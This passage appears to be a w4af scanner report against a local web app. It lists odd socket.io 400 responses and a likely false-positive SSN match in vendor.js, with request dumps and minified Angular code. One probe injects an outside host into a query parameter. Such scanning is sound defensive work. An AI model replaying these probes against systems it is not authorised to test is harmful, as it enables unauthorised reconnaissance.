a.apply(this,arguments)}}(),yaml:function(){var a=(0,w.Z)(function*(){return yield c.e(472).then(c.bind(c,8472))});return function(){return a.apply(this,arguments)}}()}}},Pt,b.e,he,Ht,Be,R,be,Ce,Lt,Vt,Kt,Se,ke,Qt,Ie,X,ot,I.N_,Ot,W,ue,Ut,ht,Fe,Ge.t,mt,Wt,ce,pe,Dt,He,ge],imports:[k.b2,ip,u.aw.forRoot({loader:{provide:u.Zw,useFactory:yd,deps:[L.eN]}}),I.m$.forRoot(),Ct.tw.forRoot(),xd.o9,L.JF,s.UX,bd.PW,xe.uK,se.N,te.Ob,tn.Iq,ae.ef,yt.g0,F.Ps,s.u5,f.lN,vt.LD,x.ot,At.SJ,d.p0,xt.TU,T.QW,B.c,Xt.p9,N.Is,z.t,Et.FA,Gt.XK,V.To,Ee.Cv,Q.AV,Ft.Tx,Zt.ie,Me.vV,re.xu,zt.N6,en.PQ,De.g,nt.Fk,ut.ZX,ve.KP,Mt.Nh,jt.rP,ie.Hi,Pe.mC,oe._l,Td]}),n;var a})();P.N.production&&(0,t.G48)(),k.q6().bootstrapModule(Zd).catch(n=>console.log(n))}},tt=>{tt.O(0,[736],()=>tt(tt.s=6645)),tt.O()}]);'
The remote web server sent 1 HTTP responses with the uncommon response status code 400 using "Bad Request" as message. The first ten URLs which sent the uncommon status code are: - http://localhost:3000/socket.io/
The server responded with a strange HTTP status code. This is a non-issue however exotic HTTP response status codes can provide useful insights into the behavior of the web application and assist with the information security analysis.
GET http://localhost:3000/socket.io/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:14 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKf&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid= HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:49 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":3,"message":"Bad request"}'
POST http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlZKz&sid= HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Content-type: text/plain;charset=UTF-8 Origin: http://localhost:3000 Connection: keep-alive Accept-encoding: gzip, deflate Content-length: 2 40
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:50:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":2,"message":"Bad handshake method"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=wDrx05cdQGJByikYAAE5 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: VYJCVmvJktnjNUhr19ry2A== Connection: keep-alive, Upgrade Cookie: language=en; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-type: text/html\r\nContent-Length: 18\r\n' b'Session ID unknown'
GET http://localhost:3000/socket.io/?EIO=4&transport=%2F%2Fw4af.net&sid=5f_rxp2p0KU-WMd9AAAF HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 02KOa9ZtpAc+WUvdZU98pg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-type: text/html\r\nContent-Length: 17\r\n' b'Transport unknown'
The URL: "http://localhost:3000/vendor.js" possibly discloses US Social Security Number: "606-17-1575". This vulnerability was found in the request with id 132.
The US Social Security Number (SSN) is a personally identifiable number that is issued to its citizens.
A stolen or leaked SSN can lead to a compromise, and/or the theft of the affected individual's identity.
Through the use of regular expressions, the tool has discovered an SSN located within the response of the affected page.
Initially, the SSN within the response should be checked to ensure its validity, as it is possible that the regular expression has matched a similar number with no relation to a real SSN.
If the response does contain a valid SSN, then all efforts should be taken to remove or further protect this information. This can be achieved by removing the SSN altogether or by masking the number so that only the last few digits are present within the response (eg. ****123).
GET http://localhost:3000/vendor.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"15aefc-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[736],{9187:(At,ae,d)=>{"use strict";d.d(ae,{Xy:()=>X,ne:()=>Be,tw:()=>ct});var n=d(655),a=d(4650),s=d(4006),u=d(7340),c=d(6895),f=d(3162),E=d(3238),_=d(3546),S=d(7392);function g(Je,Et){1&Je&&a._UZ(0,"div"),2&Je&&a.Q6J("@flipY",void 0)}function C(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function z(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function H(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,g,1,1,"div",2),a.YNc(2,C,2,1,"ng-template",null,3,a.W1O),a.YNc(4,z,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneLowerCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.lowerCaseCriteriaMsg)}}function j(Je,Et){1&Je&&a._UZ(0,"div")}function U(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function G(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function Q(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,j,1,0,"div",2),a.YNc(2,U,2,1,"ng-template",null,3,a.W1O),a.YNc(4,G,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneUpperCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.upperCaseCriteriaMsg)}}function oe(Je,Et){1&Je&&a._UZ(0,"div")}function Ce(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function k(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function K(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,oe,1,0,"div",2),a.YNc(2,Ce,2,1,"ng-template",null,3,a.W1O),a.YNc(4,k,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneDigit)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.digitsCriteriaMsg)}}function se(Je,Et){1&Je&&a._UZ(0,"div")}function ee(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function q(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function we(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,se,1,0,"div",2),a.YNc(2,ee,2,1,"ng-template",null,3,a.W1O),a.YNc(4,q,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneSpecialChar)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.specialCharsCriteriaMsg)}}function ce(Je,Et){1&Je&&a._UZ(0,"div")}function je(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ze(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function le(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,ce,1,0,"div",2),a.YNc(2,je,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ze,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastMinChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.minCharsCriteriaMsg)}}function Oe(Je,Et){1&Je&&a._UZ(0,"div")}function Qe(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ye(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function qe(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Oe,1,0,"div",2),a.YNc(2,Qe,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ye,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtCustomChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.customCharsCriteriaMsg)}}function Ke(Je,Et){1&Je&&a._UZ(0,"div")}function dt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function bt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function ze(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Ke,1,0,"div",2),a.YNc(2,dt,2,1,"ng-template",null,3,a.W1O),a.YNc(4,bt,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",100===Ie.passwordComponent.strength)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.hij("Password\'s strength = ",Ie.passwordComponent.strength," %100")}}var De=(()=>{return(Je=De||(De={})).primary="primary",Je.accent="accent",Je.warn="warn",De;var Je})(),re=(()=>{return(Je=re||(re={})).at_least_eight_chars="minChar",Je.at_least_one_lower_case_char="lowerCase",Je.at_least_one_upper_case_char="upperCase",Je.at_least_one_digit_char="digit",Je.at_least_one_special_char=" specialChar",Je.at_custom_chars="customChars",re;var Je})();class We{isUndefinedOrEmpty(Et){}validate(Et,Dt){return Ie=>{if(this.isUndefinedOrEmpty(Ie),!Dt.test(Ie.value)){const te={};return te[Et]={actualValue:Ie.value,requiredPattern:Dt},te}}}confirm(Et){return Pt=>{if(this.isUndefinedOrEmpty(Pt),Pt.value!==Et)return{notConfirmed:{password:Et,passwordConfirmation:Pt.value}}}}}const xt={lowerCase:RegExp(/^(?=.*?[a-z])/),upperCase:RegExp(/^(?=.*?[A-Z])/),digit:RegExp(/^(?=.*?[0-9])/),specialChar:RegExp(/^(?=.*?[" !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"])/)};let Be=(()=>{let Je=class{constructor(){this.enableLengthRule=!0,this.enableLowerCaseLetterRule=!0,this.enableUpperCaseLetterRule=!0,this.enableDigitRule=!0,this.enableSpecialCharRule=!0,this.min=8,this.max=30,this.warnThreshold=21,this.accentThreshold=81,this.onStrengthChanged=new a.vpe,this.criteriaMap=new Map,this.passwordFormControl=new s.NI,this.passwordConfirmationFormControl=new s.NI,this.validatorsArray=[],this._strength=0,this.matPasswordStrengthValidator=new We}ngOnInit(){this.setRulesAndValidators(),this.password&&this.calculatePasswordStrength()}ngOnChanges(Dt){if(!(Dt.externalError&&Dt.externalError.firstChange||Dt.password.isFirstChange())){if(Dt.externalError&&Dt.externalError.currentValue)return void(this._color=De.warn);Dt.password.previousValue!==Dt.password.currentValue||Dt.password.firstChange?this.password&&this.password.length>0?this.calculatePasswordStrength():this.reset():this.calculatePasswordStrength()}}get strength(){return this._strength?this._strength:0}get color(){return this._strength<this.warnThreshold?De.warn:this._strength<this.accentThreshold?De.accent:De.primary}_containAtLeastMinChars(){return this.containAtLeastMinChars=this.password.length>=this.min,this.containAtLeastMinChars}_containAtLeastOneLowerCaseLetter(){return this.containAtLeastOneLowerCaseLetter=this.criteriaMap.get(re.at_least_one_lower_case_char).test(this.password),this.containAtLeastOneLowerCaseLetter}_containAtLeastOneUpperCaseLetter(){return this.containAtLeastOneUpperCaseLetter=this.criteriaMap.get(re.at_least_one_upper_case_char).test(this.password),this.containAtLeastOneUpperCaseLetter}_containAtLeastOneDigit(){return this.containAtLeastOneDigit=this.criteriaMap.get(re.at_least_one_digit_char).test(this.password),this.containAtLeastOneDigit}_containAtLeastOneSpecialChar(){return this.containAtLeastOneSpecialChar=this.criteriaMap.get(re.at_least_one_special_char).test(this.password),this.containAtLeastOneSpecialChar}_containCustomChars(){return this.containAtCustomChars=this.criteriaMap.get(re.at_custom_chars).test(this.password),this.containAtCustomChars}parseCustomValidatorsRegex(Dt=this.customValidator){return this.customValidator instanceof RegExp?this.customValidator:"string"==typeof this.customValidator?RegExp(this.customValidator):void 0}setRulesAndValidators(){this.validatorsArray=[],this.criteriaMap=new Map,this.passwordConfirmationFormControl.setValidators(s.kI.compose([s.kI.required,this.matPasswordStrengthValidator.confirm(this.password)])),this.validatorsArray.push(s.kI.required),this.enableLengthRule&&(this.criteriaMap.set(re.at_least_eight_chars,RegExp(`^.{${this.min},${this.max}}$`)),this.validatorsArray.push(s.kI.minLength(this.min)),this.validatorsArray.push(s.kI.maxLength(this.max))),this.enableLowerCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_lower_case_char,xt.lowerCase),this.validatorsArray.push(s.kI.pattern(xt.lowerCase))),this.enableUpperCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_upper_case_char,xt.upperCase),this.validatorsArray.push(s.kI.pattern(xt.upperCase))),this.enableDigitRule&&(this.criteriaMap.set(re.at_least_one_digit_char,xt.digit),this.validatorsArray.push(s.kI.pattern(xt.digit))),this.enableSpecialCharRule&&(this.criteriaMap.set(re.at_least_one_special_char,xt.specialChar),this.validatorsArray.push(s.kI.pattern(xt.specialChar))),this.customValidator&&(this.criteriaMap.set(re.at_custom_chars,this.parseCustomValidatorsRegex()),this.validatorsArray.push(s.kI.pattern(this.parseCustomValidatorsRegex()))),this.criteriaMap.forEach((Dt,Pt)=>{this.validatorsArray.push(this.matPasswordStrengthValidator.validate(Pt,Dt))}),this.passwordFormControl.setValidators(s.kI.compose([...this.validatorsArray])),this.Validators=s.kI.compose([...this.validatorsArray])}calculatePasswordStrength(){const Dt=[],Pt=100/this.criteriaMap.size;Dt.push(!!this.enableLengthRule&&this._containAtLeastMinChars(),!!this.enableLowerCaseLetterRule&&this._containAtLeastOneLowerCaseLetter(),!!this.enableUpperCaseLetterRule&&this._containAtLeastOneUpperCaseLetter(),!!this.enableDigitRule&&this._containAtLeastOneDigit(),!!this.enableSpecialCharRule&&this._containAtLeastOneSpecialChar(),!!this.customValidator&&this._containCustomChars()),this._strength=Dt.filter(Ie=>Ie).length*Pt,this.onStrengthChanged.emit(this.strength),this.setRulesAndValidators()}reset(){this._strength=0,this.containAtLeastMinChars=this.containAtLeastOneLowerCaseLetter=this.containAtLeastOneUpperCaseLetter=this.containAtLeastOneDigit=this.containAtCustomChars=this.containAtLeastOneSpecialChar=!1}};return Je.\\u0275fac=function(Dt){return new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength"]],inputs:{enableLengthRule:"enableLengthRule",enableLowerCaseLetterRule:"enableLowerCaseLetterRule",enableUpperCaseLetterRule:"enableUpperCaseLetterRule",enableDigitRule:"enableDigitRule",enableSpecialCharRule:"enableSpecialCharRule",min:"min",max:"max",warnThreshold:"warnThreshold",accentThreshold:"accentThreshold",password:"password",externalError:"externalError",customValidator:"customValidator"},outputs:{onStrengthChanged:"onStrengthChanged"},exportAs:["matPasswordStrength"],features:[a.TTD],decls:1,vars:2,consts:[["mode","determinate",3,"color","value"]],template:function(Dt,Pt){1&Dt&&a._UZ(0,"mat-progress-bar",0),2&Dt&&a.Q6J("color",Pt.color)("value",Pt.strength)},dependencies:[f.pW],styles:[".green [_nghost-%COMP%] .mat-progress-bar.mat-primary .mat-progress-bar-fill::after{background-color:#43a047}"],changeDetection:0}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"password",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"externalError",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLengthRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLowerCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableUpperCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableDigitRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableSpecialCharRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"min",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"max",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customValidator",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"warnThreshold",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"accentThreshold",void 0),(0,n.gn)([(0,a.r_U)()],Je.prototype,"onStrengthChanged",void 0),Je})();function pe(Je,Et,Dt){const Pt={timing:Je,delay:0,rotateX:Et,rotateY:Dt};return(0,u.oQ)([(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:Pt})}pe(1,1,0),pe(1,0,1);const R=(0,u.oQ)((0,u.jt)("{{ timing }}s {{ delay }}s",(0,u.F4)([(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:0}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.1}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.2}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.3}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.4}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.5}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.6}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.7}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.8}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.9}),(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:1})])),{params:{timing:1,delay:0}});let X=(()=>{let Je=class{constructor(){this.enableScoreInfo=!1,this.lowerCaseCriteriaMsg="contains at least one lower character",this.upperCaseCriteriaMsg="contains at least one upper character",this.digitsCriteriaMsg="contains at least one digit character",this.specialCharsCriteriaMsg="contains at least one special character",this.customCharsCriteriaMsg="contains at least one custom character"}ngOnInit(){this.minCharsCriteriaMsg||(this.minCharsCriteriaMsg=`contains at least ${this.passwordComponent.min} characters`)}};return Je.\\u0275fac=function(Dt){return new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength-info"]],inputs:{enableScoreInfo:"enableScoreInfo",lowerCaseCriteriaMsg:"lowerCaseCriteriaMsg",upperCaseCriteriaMsg:"upperCaseCriteriaMsg",digitsCriteriaMsg:"digitsCriteriaMsg",specialCharsCriteriaMsg:"specialCharsCriteriaMsg",customCharsCriteriaMsg:"customCharsCriteriaMsg",minCharsCriteriaMsg:"minCharsCriteriaMsg",passwordComponent:"passwordComponent"},exportAs:["matPasswordStrengthInfo"],decls:9,vars:8,consts:[["class","info-row",4,"ngIf"],[1,"info-row"],[4,"ngIf","ngIfThen","ngIfElse"],["done",""],["error",""],["color","primary"],["color","warn"]],template:function(Dt,Pt){1&Dt&&(a.TgZ(0,"mat-card")(1,"mat-card-content"),a.YNc(2,H,8,5,"div",0),a.YNc(3,Q,8,5,"div",0),a.YNc(4,K,8,5,"div",0),a.YNc(5,we,8,5,"div",0),a.YNc(6,le,8,5,"div",0),a.YNc(7,qe,8,5,"div",0),a.YNc(8,ze,8,5,"div",0),a.qZA()()),2&Dt&&(a.Q6J("@list",void 0),a.xp6(2),a.Q6J("ngIf",Pt.passwordComponent.enableLowerCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableUpperCaseLetterRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableDigitRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableSpecialCharRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.enableLengthRule),a.xp6(1),a.Q6J("ngIf",Pt.passwordComponent.customValidator),a.xp6(1),a.Q6J("ngIf",Pt.enableScoreInfo))},dependencies:[c.O5,_.a8,_.dn,S.Hw],styles:["mat-card[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;place-content:stretch center;-webkit-box-align:stretch;align-items:stretch;-webkit-box-flex:1;flex:1 1 0}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%]{-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;box-sizing:border-box;display:-webkit-box;display:flex;max-width:100%;place-content:stretch flex-start;-webkit-box-align:stretch;align-items:stretch}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{margin-right:10px}mat-card[_ngcontent-%COMP%] mat-card-content[_ngcontent-%COMP%] .info-row[_ngcontent-%COMP%]{-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;box-sizing:border-box;display:-webkit-box;display:flex;-webkit-box-align:center;align-items:center}"],data:{animation:[(0,u.X$)("list",[(0,u.eR)(":enter",[(0,u.IO)("@items",(0,u.EY)(300,(0,u.pV)()))])]),(0,u.X$)("items",[(0,u.eR)(":enter",[(0,u.oB)({transform:"scale(0.5)",opacity:0}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(1)",opacity:1}))]),(0,u.eR)(":leave",[(0,u.oB)({transform:"scale(1)",opacity:1,height:"*"}),(0,u.jt)("1s cubic-bezier(.8,-0.6,0.2,1.5)",(0,u.oB)({transform:"scale(0.5)",opacity:0,height:"0px",margin:"0px"}))])]),(0,u.X$)("positiveState",[(0,u.eR)(":enter",[(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:{timing:1,delay:0,rotateX:1,rotateY:0}})]),(0,u.X$)("negativeState",[(0,u.eR)(":enter",(0,u._7)(R))])]}}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"passwordComponent",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableScoreInfo",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"lowerCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"upperCaseCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"digitsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"specialCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customCharsCriteriaMsg",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"minCharsCriteriaMsg",void 0),Je})();var _e;let ct=_e=class{static forRoot(){return{ngModule:_e,providers:[]}}};ct.\\u0275fac=function(Et){return new(Et||ct)},ct.\\u0275mod=a.oAB({type:ct}),ct.\\u0275inj=a.cJS({imports:[c.ez,f.Cv,_.QW,S.Ps,E.si]})},5107:(At,ae,d)=>{"use strict";d.d(ae,{Bs:()=>oe,IR:()=>z,Ot:()=>Gt,QI:()=>Vt,RK:()=>wt,WU:()=>G,g5:()=>U,iR:()=>ce,wY:()=>Q,yB:()=>u1});var n=d(4650),a=d(6895),s=d(8929),u=d(591),c=d(6498),f=d(6787),E=d(2198),_=d(2868);const g={provide:n.tb,useFactory:function S(It,_t){return()=>{if((0,a.NF)(_t)){const 